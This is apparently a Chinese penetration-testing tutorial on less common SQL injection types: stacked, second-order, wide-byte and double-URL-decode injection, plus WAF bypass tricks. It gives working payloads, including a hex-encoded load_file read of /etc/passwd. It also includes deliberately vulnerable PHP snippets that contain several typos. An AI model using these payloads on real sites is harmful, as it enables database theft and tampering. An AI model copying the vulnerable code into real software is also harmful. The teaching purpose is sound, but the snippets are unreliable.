渗透测试-SQL注入-其它注入

渗透测试-SQL注入-其它注入

  • 一、更新注入
  • 二、堆叠注入
  • 三、二次注入
  • 四、宽字节注入
  • 五、URL解码注入
  • 六、奇技淫巧
    • 闭合与逻辑
    • 字符串转十六进制
    • WAF绕过


一、更新注入

所有更新类操作只返回布尔型结果,不会返回数据,所以核心是构造报错注入的Payload

insert into users(username,password,role) values('fjc667' or updatexml(1,concat(0x7e,database(),0x7e),1) or '','123456','user')

update users set username = 'jcjc' where userid=1 or updatexml(1,concat(0x7e,database(),0x7e),1)
update users set password = '1111'  or updatexml(1,concat(0x7e,database(),0x7e),1) or '' where userid=1

delete from users where userid=14 or updatexml(1,concat(0x7e,database(),0x7e),1)

更新类的注入适用于HTTP头注入(无论哪里注入,只要其字段可以操作到数据库就行)

二、堆叠注入

select * from users where userid=1; update user set password='123456789' where userid=1
select * from users where usernam='fjc663'; update user set password='123456789' where userid=1#'

上述Payload的PHP复现代码

include "common.php";
$conn = create_connection_oop();

$id = $_GET['id'];
$conn -> multi_query("select * from users where userid=$id");
$result = $conn -> store_result();
$rows = $result -> fecth_row();
var_dumpp($rows);

三、二次注入

// 第一步:先完成注册,使用addslashes
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = "insert into users(username,password) values('$username','password');
$conn->query($sql);

// 第二步:修改用户密码
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "update users set password='$password' where username='$username'";
$conn->query($sql);

四、宽字节注入

正常sql语句:select * from article where articleid=‘1’;
当输入1’ 时,在addslashes函数的保护下,单引号 ’ 被加反斜杠\转义。
被转义时的sql语句:select * from article where articleid=‘1’;
当输入1%bf时,在gbk等宽字符集的环境下,%bf和用来转义的(%5c)形成新字符 狷。
注入时的sql语句:select * from article where articleid=1%bf’ and 1=1%23;
%bf与转义符号(16进制为%5c)组合成了%bf%5c形成新字符,从而吃掉了这个转义符号,导致单引号可以闭合,形成经典的注入形式。

$conn = mysqli_connect('127.0.0.1''root''123456''learn')or die("数据库连接不成功.");
mysqli_query($conn, "set names gbk");
$id = addslashes($_GET['id']);
$sql = "select * from article where articleid='$id'";
echo $sql . "
"
; $result = mysqli_query($conn, $sql) or die(""); $article = mysqli_fetch_assoc($result); echo $article['headline'] . "br/>
"
. $article['content'];

对应Payload

/security/misc.php?id=1%df' union select 1,2,3,4,5,6%23

五、URL解码注入

只要字符被转换理论上就有注入的可能,现在对sql注入的防御主要也是对各类单引号,双引号,反斜杠和null加上反斜杠进行转义。
如果某个地方使用了urldecode或者rawurldecode函数的话,就会导致二次解码生成单引号引发注入。
原理是当我们提交web参数的时候,web服务器会自动对url编码进行1次解码,假设目标有了过滤,我们提交id=1%2527时候,没有带单引号(单引号url编码为%27),这时候服务器会自动解码,解码的是%25,而%25的解码结果恰好是%(百分号),就能刚好和剩下的27组合成%27,如果程序里面还有urldecode这样的解码函数的话,将会引发二次解码,这样解码后就变成id=1’,引发注入。
所以这类注入可以搜索urldecode或者rawurldecode来挖掘。

$conn = create_connection_oop();
$id = urldecode(addslashes($_GET['id']));
ecno $id . "
"
; $result = $conn->query("select * from users where userid='$id'"); $rows = Sresult->fetch_row(); var_dump($rows); /security/misc.php?id=1%2527 and 1=1--+

六、奇技淫巧

闭合与逻辑

Payload: 1' or '1'='1       闭合后:id='1'or1'='1'
也可以写成:1'||'1'='1       同理也可以使用 && 表示 and
Payload: 1' or 1=1#         闭合后:id='1' or 1=1#

字符串转十六进制

所有的确定字符串,均可以使用hex函数来处理成16进制,避免引号转义

select hex('/etc/passwd');    # 输出为:2F6574632F706173737764
select load file(0x2F6574632F706173737764);

select hex('learn');
select group_concat(table_name) from information_schema.tables where table_schema=0x6C6561726E

select hex('%为什么%");
select * from article where content like 0x25E4B8BAE4BB80E4B98825;

WAF绕过

双写绕过:
select and or 等被过滤的话,可以这么构造,selselectect,anandd,
这样即使被过滤了剩余字符串也能拼接成正常语句。

大小写绕过:
SelecTAnD,0r,可用来绕过简单的过滤手段

编码绕过:
Base64,ASCII,16进制

特殊字符绕过
空格:/**/,%20,%0a,%0d,%0b,%09,%0c,select(passwd)from(user);
and:&&,   or:||
内联注释: select username from /*!users*/ /*!union*/ select 2;
00截断:sel%00ect,mysql中不会截断,但waf可能认为截断
%:sel%ect,如果是,iis+asp,百分号会被忽略

你可能感兴趣的:(SQL注入,渗透测试,sql,数据库,web安全,mysql,学习,安全)